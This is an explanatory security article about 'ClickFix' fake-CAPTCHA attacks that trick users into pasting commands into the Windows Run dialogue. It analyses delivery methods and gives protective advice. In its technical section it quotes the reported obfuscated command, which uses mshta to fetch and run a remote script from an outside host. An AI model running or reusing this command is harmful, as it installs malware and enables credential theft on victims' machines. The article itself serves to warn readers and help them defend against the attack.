Understanding ClickFix: The Fake CAPTCHA Malware Attack

The ClickFix Attack Vector

A "ClickFix" attack is a social engineering technique where a website presents a fake CAPTCHA or verification page to trick users into manually executing malicious code on their local machine. Unlike legitimate CAPTCHAs, which are handled entirely within the browser, ClickFix prompts users to perform system-level actions—such as using keyboard shortcuts to open the Windows Run dialogue—to "verify" their identity.

In a recent instance reported on Hacker News, a user visiting the site Crooked Timber encountered a fake Google CAPTCHA. After clicking the verification button, the page instructed the user to:

1. Press Win + R (opening the Windows Run dialogue).
2. Press Ctrl + V (pasting a command from the clipboard) and press Run.

This process is designed to bypass browser security sandboxes by tricking the user into voluntarily executing a command outside the browser environment.

Technical Analysis of the Malicious Payload

Command Execution

The payload used in this specific attack involves a PowerShell command designed to download and execute a remote script. The reported command was: pcalua -a "PowerShell" -c "saps cmd '/v/c m^s^h^t^a h^t^t^p^s^:^/^/fine-work-team.com/6272' -Wi Hi"

This command uses obfuscation (such as carets ^ in the CMD string) to evade simple detection systems. Its primary purpose is to reach out to a remote server (fine-work-team.com) to download a "dropper"—a small piece of code that subsequently installs more potent malware, such as credential stealers or ransomware.

Advanced Delivery Mechanisms

Technical analysis of the page source reveals a sophisticated delivery method:

• Iframe Injection: The phishing page is delivered via an iframe created through srcDoc, making it harder to detect via traditional URL filtering.
• Blockchain-Based Logic: Some versions of this attack have been observed fetching JavaScript scripts from Ethereum/Base smart contracts. This allows attackers to host their malicious logic on a decentralized ledger, making it nearly impossible for central authorities to take down the hosting infrastructure.
• Persistence and Fingerprinting: The attack uses LocalStorage to store scripts that are evaluated on every page load, and employs a "kill switch" and cooldown periods based on the user's device fingerprint to avoid repeated exposure and detection.

How to Protect Yourself

The Golden Rule of CAPTCHAs

There is never a legitimate reason for a CAPTCHA to require you to execute code, open a system dialogue, or run a command in a terminal. Any website asking you to use Win+R, Ctrl+V, or any terminal command to "verify you are human" is a phishing attempt.

Layered Defense Strategies

To reduce the risk of these and similar attacks, security experts recommend a layered approach:

• Ad-blockers: Tools like uBlock Origin can block many of the malicious scripts and domains used to deliver these fake CAPTCHAs.
• DNS Filtering: Using a security-focused DNS provider (such as Quad9) or a local resolver (like Pi-hole) can block known malicious domains before the browser even attempts to connect to them.
• Browser Hygiene: Be cautious of browser extensions. Some attacks are injected via compromised or sold extensions that have permissions to modify all pages you visit.
• Reporting: If you encounter a fake CAPTCHA, report the domain to Google Safe Browsing and upload the malicious payload to VirusTotal to help the community flag the domain quickly.

Common Delivery Points

These attacks often appear on legitimate websites that have been compromised via hacked Content Management Systems (CMS), such as WordPress, or through malicious advertisements. Because the site itself is trusted by the user, the victim is more likely to trust the fake CAPTCHA prompt.